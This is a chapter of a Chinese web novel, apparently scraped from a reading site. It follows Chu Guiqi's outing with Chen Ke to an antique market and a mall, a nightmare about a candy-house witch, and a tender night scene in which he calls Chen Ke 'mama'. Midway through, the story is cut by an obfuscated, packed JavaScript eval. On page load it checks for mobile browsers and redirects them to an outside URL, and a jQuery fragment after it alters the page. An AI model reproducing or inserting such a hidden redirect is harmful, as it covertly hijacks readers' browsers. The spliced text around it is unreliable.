殷时序就这样抱了他一会儿,楚归栖从他怀里抬起头,“我要回卧室了。”
一会儿陈柯还要给他送钙片吃。
殷时序搂在他腰间的手臂松开一些,“陈柯说等你开学他去送你。”
楚归栖眨巴一下眼睛,又问了一遍,“谁说的。”
“他说的,我看他挺喜欢你的。”
楚归栖沉默,没说是愿意还是不愿意。
他倒不是有多讨厌陈柯。
他只是讨厌殷时序口中的陈柯,讨厌殷时序眼中的陈柯。
那个名字在小叔叔嘴中说出来就让他格外不开心,好像他们之间的关系被什么阻隔开了,不仅祝谦受到了影响,楚归栖自己也受到了影响。
唯一比较好的是殷时序工作和作息时间照常,没有因为陈柯的到来而调整改变什么,他的感情仍旧表露模糊且足够清醒,还是为了陪小孩所以一周回来三四次,其余时间都在公司。
第二天他又离开了家,只剩楚归栖和陈柯待在一起。
“我带你出去玩吧。”陈柯看着窝在沙发里无聊看电视的人,提议道。
“去哪里玩?”楚归栖淡淡望过去。
真是奇怪,那人明明来到这个城市没几天,怎么总跟在这里待了好多年似的。
“枫华路东那边有座古玩城,那附近保留的老式街道旁有许多小商店,去那里看看有没有你喜欢的东西,再带你去商场逛逛。”
古玩城那片楚归栖还真没去过。
“你买车了?”
“没有。”陈柯不假思索道,“可以现买,买辆电动车。”
“电动车不上牌被查到了怎么办?”
“……查到了再说。”
楚归栖,“……”
然后他就跟着陈柯到附近买电动车,简单粗暴地挑了辆黑色的付上钱,楚归栖抬腿坐上他的后座。
“开个导航。”
“你不认路?”
“我不是才刚来这里么。”
楚归栖二次无语,知道它在哪条路附近都有什么,但不知道怎么去,这对么。
他打开手机导航了一下,显示此处距离目的地4.8公里,约莫二十分钟的时间,还不算远。
他骑车骑得不算太慢,但也着实不快,预计二十分钟的路程让他骑车能花半个小时。
楚归栖坐在后面看着他的后背,以及他被清风吹得拂动的白色衣角,出神半晌,微微凑过前去,将脸颊鼻尖虚虚贴在他带着清香的单薄衣衫上。
好像能感知到肌肤的温度。
一种病态的渴望自骨缝中溢出,他的喉结稍一滚动,脑袋偏了偏,抬起手抱住了那人的腰。
很瘦很结实,楚归栖摸上他放松状态下很好摸的腹肌。
前面车把蓦然失衡,猛地往路边一侧歪去,又被陈柯情急之下一个紧拐加刹车,轮胎与地面发出剧烈的摩擦声,单腿撑地才不至于连人带车一齐翻倒。
差点就撞上路旁的绿化带。
“你、干什么呢??”
始作俑者抬起头,迎上他微微侧首低俯而来的视线,对方的眸中尽是不可置信的诧异。
楚归栖面露无辜,嘴唇动了动,下意识就想叫他“小妈”。
理智终是让他没这么叫出来,反而抿起唇,几秒过后,唇角禁不住地下垂,那张无辜的脸渐渐委屈起来,眼底有泪光浮动,像是要哭。
陈柯的表情立马变了,意识到可能是自己太过惊讶让楚归栖误会了什么,抬手摸摸他的脸柔声哄道,“我不是凶你,你抱吧抱吧,有没有磕到哪里?”
楚归栖摇摇头。
陈柯又叫他宝宝,拉着他的手环在自己腰间,安抚地轻轻拍拍他的手背,继续带着他跟着导航指示的方向去。
今天的阳光并不刺眼,天气正好,夏季余留的躁热已追不上电瓶车的速度,风吹乱他的流海和鬓发,黑葡萄般的眼睛透过碎乱发隙望着路边匆匆后掠的景象,瞳孔微微动着,他的脸颊贴在陈柯的后背上。
妈妈。
他默默道。
妈、妈。
他把这个词,这两个字在口中嚼碎,融化,咽进心脏里,化成奶油般的蜜,浓稠地流淌在那团鼓动的血肉之中。
这个称呼不是陈柯与殷时序的关系词,而是陈柯与楚归栖的关系词。
不是赞扬女性/爱的光辉,不是称颂造物者的伟大,这个称呼在楚归栖这里永远得不到它正确的、饱满的、完整的含义,因为认知缺陷,它最多只能代表滋育种子破壳的水土,贫瘠精神上的安抚,以及一种令人心跳加速体温升高的病症。
畸形的人口中吐出的词语也是畸形的,但美好的东西在他心中本就是美好的。
楚归栖没有想染脏它们,他只是想把上天未曾眷顾到他身上的东西寄托到另一个人身上去求得。
他不寻求爱情,只是本能地在寻求幸福。
……
楚归栖在那里找到了许多只有很小很小的时候才见到过的东西。
那是一家极具年代感的小商店,店门破旧,占地面积还没他家厨房大,里面的铁架子生了锈,摆着许多布着灰尘即将过期的辣条和酸奶。
楚归栖站在前台,眼睛亮亮地望着那小塑料桶里的纸包泡泡糖。
陈柯指着问道,“这个多少钱。”
店长是个相貌和蔼的老头,吸了口烟嘴道,“这个三毛一个,一块钱给四个。”
陈柯挑了二十个给楚归栖。
楚归栖很开心,他在这里见到了许多在福利院想玩却轮不到他玩的玩具和画册,当时需要从别人手中抢的东西,现在轻易就能买下来。
不过一想到“抢”,胸腔中又溢上一种青苹果似的酸涩,他的眼睫不动声色地垂了垂,神色也淡了下来。
陈柯将那有些灰尘的小小弹跳球用卫生纸擦干净,放进楚归栖的兜里,“还有什么想要的?”
“没了。”
“没了?”
陈柯注意到他的神情不太对,又将店长身后架子上的东西扫了一遍,目光落在一个黄黄小东西上,抬手指了指,“那个是什么?”
“啊……”老头咬着烟嘴,把那小东西拿下来,眯起一双老花眼翻来覆去地看,声音含糊道,“那种印章,小花的,就是一按就能印上。”
陈柯把那个也买了下来,还给他买了个能拿在手里玩的泡泡机。
少到神奇的一笔消费。
楚归栖坐在车后座嚼了一路的泡泡糖,陈柯在前面迎风道,“你别吹泡泡粘我衣服上了。”
“就粘就粘。”
他吹了个粉色泡泡,不大不小地破了,有些粘到了乱飞的头发上,被他用手揪去。
他把那些泡泡糖纸里夹带的贴纸收集起来揣进兜里,下车到了商场门口,握住陈柯的手腕抬起,给他选了一个美羊羊的贴纸,揭去最外面那个透明膜后贴到他的手背上。
陈柯神色复杂地看着那人对自己的手背拍拍打打。
“栖栖,你是不是带了点私人恩怨。”
“这个东西不粘,不使劲弄到时候揭下来可能只是个羊头或羊屁股,这是对美羊羊的尊重,也是对你的尊重。”
“……”
就任他拍拍打打了两三分钟,手背都发红了,楚归栖终于放心将贴纸极小心地慢慢揭了下来,印在那人手背上的是一个完整的美羊羊。
他满意地“嗯”了一声,拖着长调,小孩一般十分有成就感地弯起唇角,还拿手机拍了张照。
进了商场,无非就是些衣服鞋子化妆品,楚归栖觉得没什么好逛的,但是陈柯非要给他买衣服。
“我家里有很多衣服了。”
“那是你小叔叔给你买的,没有我给你买的。”
“所以你到女装区干什么?”
刚想要进去看看的陈柯被点明后又默默退了出来,仍是望着里面那件低腰短裙和收腰修身的小白衬衫,视线移开又移开,就是走不动道了。
太合适了。
楚归栖一脸不解地望着他。
陈柯道,“你家里的都是男装吧。”
“……你神经病么。”
某人被骂老实了,又轻轻笑笑,然后带着他到男装区选了几套衣服。
楚归栖这张脸有种雌雄莫辨的美感,身形气质也极好,所以衬衫和薄款工装裤这种利落又中性的搭配就很好看。
他看着面前落地的试衣镜,突发奇想,将陈柯给他买的小印章拿出来,在自己的左眼眼尾下方印了一个红色小花,在陈柯的右眼眼尾下方也印了一个。
“为什么你的印出来是小爱心。”
楚归栖低头拿着那小东西按了两下,才发现原来是有三种图案。
还挺好玩的。
“你低下来一点。”
他拉住陈柯的胳膊,另一只手举起手机,将脸颊贴到对方的脸侧,让两个图案挨在一起,镜头对准了两张伟大到人神共愤的脸,楚归栖弯起唇角又拍了一张照。
脸侧柔软的余温未散,陈柯还没回过神来,又被他拉去到前台结账。
回去的路上,楚归栖仍是抱着他的腰坐在后面,不远处的路边一个巨大糖果店店牌在眼前一闪而过。
他回首看去,上面粘着几颗大大的卡通糖果,是3D立体的。
这让他无由想起来自己听过的一篇童话。
忘记叫什么名字了,前因后果也记不太清,只记得一个小男孩因为什么原因进了森林,又因为贪吃进了森林中的糖果屋,结果里面的慈祥老奶奶就是个邪恶女巫。
女巫将他关进了铁笼里养肥,每天都来捏捏他的手指,在终于快要被掉吃的那天,同他一样被当作食物的小女孩将巫婆推进热锅里烫死了。
小男孩他们就这样获救了。
真是太牵强了,老巫婆怎么会这么弱,故事怎么可能这么顺利。
“为什么童话里面好多都是好结局?”楚归栖将脸颊贴在他的背上闷闷道,因为有风声,音量不由得提高了几分。
透过陈柯的脊背,震得他心脏微微发颤。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207380|165797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>小男孩在要被吃掉的时候被小女孩救了,猎人拯救了被狼吞进肚子里的小红帽和外婆,白马王子凭一个吻破解了白雪公主中的邪恶魔法,拇指姑娘在燕子的帮助下获得自由嫁给了拇指王子……
“所以才是童话啊。”陈柯弯起眼睛笑道,声音透风而来,“小孩童年时听点美好的东西有助于身心成长。”
楚归栖眨了眨眼。
那我当时一直期望的小男孩被吃掉算什么。
好吧,算我是纯坏。
他拿出兜里的泡泡机,摁住开关,喷发而出的透明泡泡在光下晕着奇幻又诡谲的色彩,像一个个瑰丽繁华的梦境,映在他孩童般的眼睛里,被风吹到远方……
楚归栖当晚就做了一个梦。
他梦到自己进了一个糖果屋,因为吃了女巫的几颗糖就被关进了铁笼里。
那女巫顶着一张他高一年级班主任的脸,手中教杆充作魔法棒,油光光的惨白妆容,抹着大红口红的嘴巴一张一合,叽哩哇啦不知道在说些什么。
过了几天,班主任女巫来捏了捏他的手指,然后说他长得够滋润该作试卷了,说着就把他从铁笼中拎出来,要往一口滚烫的大锅里扔。
楚归栖看到锅里翻腾着一锅半融不融的试卷,还看到了指数函数和对数函数,好多图像在里面翻滚,时不时溢上来几本厚厚的导学案练习册。
班主任女巫用教杆戳他的脸,说,真金不怕火炼,看到了吗,这里面的就是真金。
你妈个逼的,你看我像不像真金。
她说神金也算金。
来个小女孩把这老巫婆推锅里炖了吧,楚归栖再也不嫌童话里那剧情扯了。
结果想什么来什么,糖果屋的木门被人一脚踹开,英雄小女孩闯了进来。
小女孩长着一张陈柯的脸。
“……”
算了,改为英雄长着一张陈柯的脸。
陈柯将他从女巫手中夺了过来,然后拉着他跑出了糖果屋。
逃亡的路上,森林上空飘泼而下的酸雨透过码头轮渡的浑厚鸣笛,远方蔚蓝平阔的海水开始翻涌倒灌,所有场景都像热带雨林中的动植物一般繁杂又混乱。
刀子、红酒、玻璃片相继从头顶落下,随着陈柯身上的艳红一齐扎进楚归栖的心窝里,浃髓沦肤,他感觉自己被酸蚀削刻成了一具骸骨。
他们顺着那唯一的湿泞小路一直跑,他们跑出了森林,跑出了城市,路过灯红酒绿的门店,路过巷口被雨水打湿的广告牌,踩着飘落满地的红白购物杂志,最终被逼到了断崖海岸。
海水击撞而来,荡起百米透白如雪的浪花。
从始至终对他紧抓不放的陈柯却在此时松开了他的手,变成了一尾热带鱼落入了海水之中,再不见踪影。
于是,楚归栖没能被拯救。
他中了女巫的诅咒。
他的心脏被海浪拍成玫瑰压花,连同着那个美好的称呼一起,猩红被卷进咸湿的风中,而身体则泡在水中变成了一颗发霉的烂苹果,像祝谦那般丑陋、沤烂、皱巴巴,然后不断地下雨,不断地自果皮中溢出烂甜的汁水。
最终榨干的残骸和枯皮被雨冲进水里,又被水冲进脏臭的下水道。
几经波折后,他残留的、未被分解的机质,终于流入了海洋。
他没能找到热带鱼。
他的童话没能得到一个好结局。
楚归栖不喜欢海。
楚归栖讨厌海。
陈柯自后半夜醒来,感觉自己胸前沉重,有些发闷,意识恢复清醒间,耳边凑来一丝温热。
房门不知何时被人打开过,有人因噩梦光着脚抱着小被褥过来找他。
“……小妈。”
黑暗中,陈柯与趴在自己怀里的楚归栖对视,见他张开口,像叫殷时序那般带有极致且唯一粘稠感情地小声叫道——
“妈妈。”
几秒沉寂。
身上人柔软的大腿与他紧密相贴着,微凉软嫩的脚尖往他裤筒里钻了钻,带着一种不自知的勾引,轻轻踩蹭他的小腿。
陈柯轻易抱住他,抬手拨了拨他的流海,夜色中声音轻哑,“叫谁妈妈?”
“叫你。”
楚归栖从他身上翻下来,抱着小被子倒在他身旁,“我做噩梦了。”
二人的对话在漆黑如水的空气中格外安和寂宁。
陈柯侧身搂住他的腰,有些松乱的额发虚落眉间,垂眸看向他。
楚归栖湖水般的眼中载着一场诡谲盛烂的黑色日出,黏腻濡湿地吸住人的视线,无声仰了仰下颔,鼻尖轻轻蹭蹭他的鼻尖。
“肯定是因为你给我买的泡泡机,彩色泡泡它们吹到我,我就做梦了。”
就梦到你了。
陈柯的呼吸不自觉错乱一拍,又被他自己压得发沉。
一个温热又深沉的吻落在眉间,片刻分离,楚归栖幽黑的瞳孔慢慢放大,有些茫然地抬手摸了摸自己的眉心——
他真的想当我妈妈。
他都这样亲我。